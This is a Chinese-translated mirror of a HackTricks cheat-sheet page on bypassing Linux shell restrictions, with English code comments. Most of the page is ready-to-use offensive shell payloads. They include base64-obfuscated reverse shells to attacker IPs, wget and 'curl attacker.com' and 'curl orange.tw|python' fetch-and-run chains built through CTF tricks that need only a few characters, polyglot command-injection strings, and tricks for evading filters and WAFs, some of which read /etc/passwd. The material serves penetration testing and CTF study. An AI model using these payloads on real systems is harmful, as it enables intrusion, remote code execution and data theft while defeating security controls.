mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
359 lines
13 KiB
Markdown
359 lines
13 KiB
Markdown
# 绕过Linux限制
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想在**HackTricks上看到您的公司广告**或**下载HackTricks的PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 轻松构建并**自动化工作流程**，由世界上**最先进的**社区工具提供支持。\
|
||
立即获取访问权限：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## 常见限制绕过
|
||
|
||
### 反向Shell
|
||
```bash
|
||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||
```
|
||
### 简短的反向 Shell
|
||
```bash
|
||
#Trick from Dikline
|
||
#Get a rev shell with
|
||
(sh)0>/dev/tcp/10.10.10.10/443
|
||
#Then get the out of the rev shell executing inside of it:
|
||
exec >&0
|
||
```
|
||
### 绕过路径和禁用词
|
||
```bash
|
||
# Question mark binary substitution
|
||
/usr/bin/p?ng # /usr/bin/ping
|
||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||
|
||
# Wildcard(*) binary substitution
|
||
/usr/bin/who*mi # /usr/bin/whoami
|
||
|
||
# Wildcard + local directory arguments
|
||
touch -- -la # -- stops processing options after the --
|
||
ls *
|
||
echo * #List current files and folders with echo and wildcard
|
||
|
||
# [chars]
|
||
/usr/bin/n[c] # /usr/bin/nc
|
||
|
||
# Quotes
|
||
'p'i'n'g # ping
|
||
"w"h"o"a"m"i # whoami
|
||
ech''o test # echo test
|
||
ech""o test # echo test
|
||
bas''e64 # base64
|
||
|
||
#Backslashes
|
||
\u\n\a\m\e \-\a # uname -a
|
||
/\b\i\n/////s\h
|
||
|
||
# $@
|
||
who$@ami #whoami
|
||
|
||
# Transformations (case, reverse, base64)
|
||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||
$(rev<<<'imaohw') #whoami
|
||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||
|
||
|
||
# Execution through $0
|
||
echo whoami|$0
|
||
|
||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||
|
||
# Fake commands
|
||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||
|
||
# Concatenation of strings using history
|
||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||
mi # This will throw an error
|
||
whoa # This will throw an error
|
||
!-1!-2 # This will execute whoami
|
||
```
|
||
### 绕过禁止空格
|
||
```bash
|
||
# {form}
|
||
{cat,lol.txt} # cat lol.txt
|
||
{echo,test} # echo test
|
||
|
||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||
cat$IFS/etc/passwd # cat /etc/passwd
|
||
|
||
# Put the command line in a variable and then execute it
|
||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||
# Other way, just change each space for ${IFS}
|
||
echo${IFS}test
|
||
|
||
# Using hex format
|
||
X=$'cat\x20/etc/passwd'&&$X
|
||
|
||
# Using tabs
|
||
echo "ls\x09-l" | bash
|
||
|
||
# New lines
|
||
p\
|
||
i\
|
||
n\
|
||
g # These 4 lines will equal to ping
|
||
|
||
# Undefined variables and !
|
||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||
uname!-1\-a # This equals to uname -a
|
||
```
|
||
### 绕过反斜杠和斜杠
|
||
```bash
|
||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||
```
|
||
### 绕过管道
|
||
```bash
|
||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||
```
|
||
### 通过十六进制编码绕过
|
||
```bash
|
||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||
```
|
||
### 绕过IPs
|
||
```bash
|
||
# Decimal IPs
|
||
127.0.0.1 == 2130706433
|
||
```
|
||
### 基于时间的数据泄露
|
||
```bash
|
||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||
```
|
||
### 从环境变量获取字符
|
||
```bash
|
||
echo ${LS_COLORS:10:1} #;
|
||
echo ${PATH:0:1} #/
|
||
```
|
||
### DNS 数据泄露
|
||
|
||
您可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。
|
||
|
||
### 内建命令
|
||
|
||
如果您无法执行外部函数，并且只能访问**有限的内建命令集来获得 RCE**，这里有一些巧妙的技巧可以做到。通常你**无法使用所有**的**内建命令**，所以你应该**了解所有的选项**来尝试绕过限制。灵感来自 [**devploit**](https://twitter.com/devploit)。\
|
||
首先检查所有的 [**shell 内建命令**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些建议：
|
||
```bash
|
||
# Get list of builtins
|
||
declare builtins
|
||
|
||
# In these cases PATH won't be set, so you can try to set it
|
||
PATH="/bin" /bin/ls
|
||
export PATH="/bin"
|
||
declare PATH="/bin"
|
||
SHELL=/bin/bash
|
||
|
||
# Hex
|
||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||
|
||
# Input
|
||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||
read aaa; eval $aaa
|
||
|
||
# Get "/" char using printf and env vars
|
||
printf %.1s "$PWD"
|
||
## Execute /bin/ls
|
||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||
## To get several letters you can use a combination of printf and
|
||
declare
|
||
declare functions
|
||
declare historywords
|
||
|
||
# Read flag in current dir
|
||
source f*
|
||
flag.txt:1: command not found: CTF{asdasdasd}
|
||
|
||
# Read file with read
|
||
while read -r line; do echo $line; done < /etc/passwd
|
||
|
||
# Get env variables
|
||
declare
|
||
|
||
# Get history
|
||
history
|
||
declare history
|
||
declare historywords
|
||
|
||
# Disable special builtins chars so you can abuse them as scripts
|
||
[ #[: ']' expected
|
||
## Disable "[" as builtin and enable it as script
|
||
enable -n [
|
||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||
chmod +x [
|
||
export PATH=/tmp:$PATH
|
||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||
```
|
||
### 多语言命令注入
|
||
```bash
|
||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||
```
|
||
### 绕过潜在的正则表达式
|
||
```bash
|
||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||
1%0a`curl http://attacker.com`
|
||
```
|
||
### Bashfuscator
|
||
```bash
|
||
# From https://github.com/Bashfuscator/Bashfuscator
|
||
./bashfuscator -c 'cat /etc/passwd'
|
||
```
|
||
### 五个字符的RCE
|
||
```bash
|
||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||
#Oragnge Tsai solution
|
||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||
http://host/?cmd=>ls\
|
||
http://host/?cmd=ls>_
|
||
http://host/?cmd=>\ \
|
||
http://host/?cmd=>-t\
|
||
http://host/?cmd=>\>g
|
||
http://host/?cmd=ls>>_
|
||
|
||
## Step2: generate `curl orange.tw|python` to file "g"
|
||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||
http://host/?cmd=>on
|
||
http://host/?cmd=>th\
|
||
http://host/?cmd=>py\
|
||
http://host/?cmd=>\|\
|
||
http://host/?cmd=>tw\
|
||
http://host/?cmd=>e.\
|
||
http://host/?cmd=>ng\
|
||
http://host/?cmd=>ra\
|
||
http://host/?cmd=>o\
|
||
http://host/?cmd=>\ \
|
||
http://host/?cmd=>rl\
|
||
http://host/?cmd=>cu\
|
||
http://host/?cmd=sh _
|
||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||
|
||
## Finally execute the file "g"
|
||
http://host/?cmd=sh g
|
||
|
||
|
||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||
## Execute tar command over a folder
|
||
http://52.199.204.34/?cmd=>tar
|
||
http://52.199.204.34/?cmd=>zcf
|
||
http://52.199.204.34/?cmd=>zzz
|
||
http://52.199.204.34/?cmd=*%20/h*
|
||
|
||
# Another curiosity if you can read files of the current folder
|
||
ln /f*
|
||
## If there is a file /flag.txt that will create a hard link
|
||
## to it in the current folder
|
||
```
|
||
### 仅需4个字符的RCE
|
||
```bash
|
||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||
# and then generate the full command in filenames
|
||
# generate "g> ht- sl" to file "v"
|
||
'>dir'
|
||
'>sl'
|
||
'>g\>'
|
||
'>ht-'
|
||
'*>v'
|
||
|
||
# reverse file "v" to file "x", content "ls -th >g"
|
||
'>rev'
|
||
'*v>x'
|
||
|
||
# generate "curl orange.tw|python;"
|
||
'>\;\\'
|
||
'>on\\'
|
||
'>th\\'
|
||
'>py\\'
|
||
'>\|\\'
|
||
'>tw\\'
|
||
'>e.\\'
|
||
'>ng\\'
|
||
'>ra\\'
|
||
'>o\\'
|
||
'>\ \\'
|
||
'>rl\\'
|
||
'>cu\\'
|
||
|
||
# got shell
|
||
'sh x'
|
||
'sh g'
|
||
```
|
||
## 只读/Noexec/Distroless 绕过
|
||
|
||
如果您处于具有**只读和noexec保护**的文件系统中，甚至在distroless容器中，仍然有方法可以**执行任意二进制文件，甚至是shell！:**
|
||
|
||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||
{% endcontent-ref %}
|
||
|
||
## Chroot和其他监狱绕过
|
||
|
||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 参考资料及更多信息
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**，由世界上**最先进**的社区工具提供支持。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击！</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|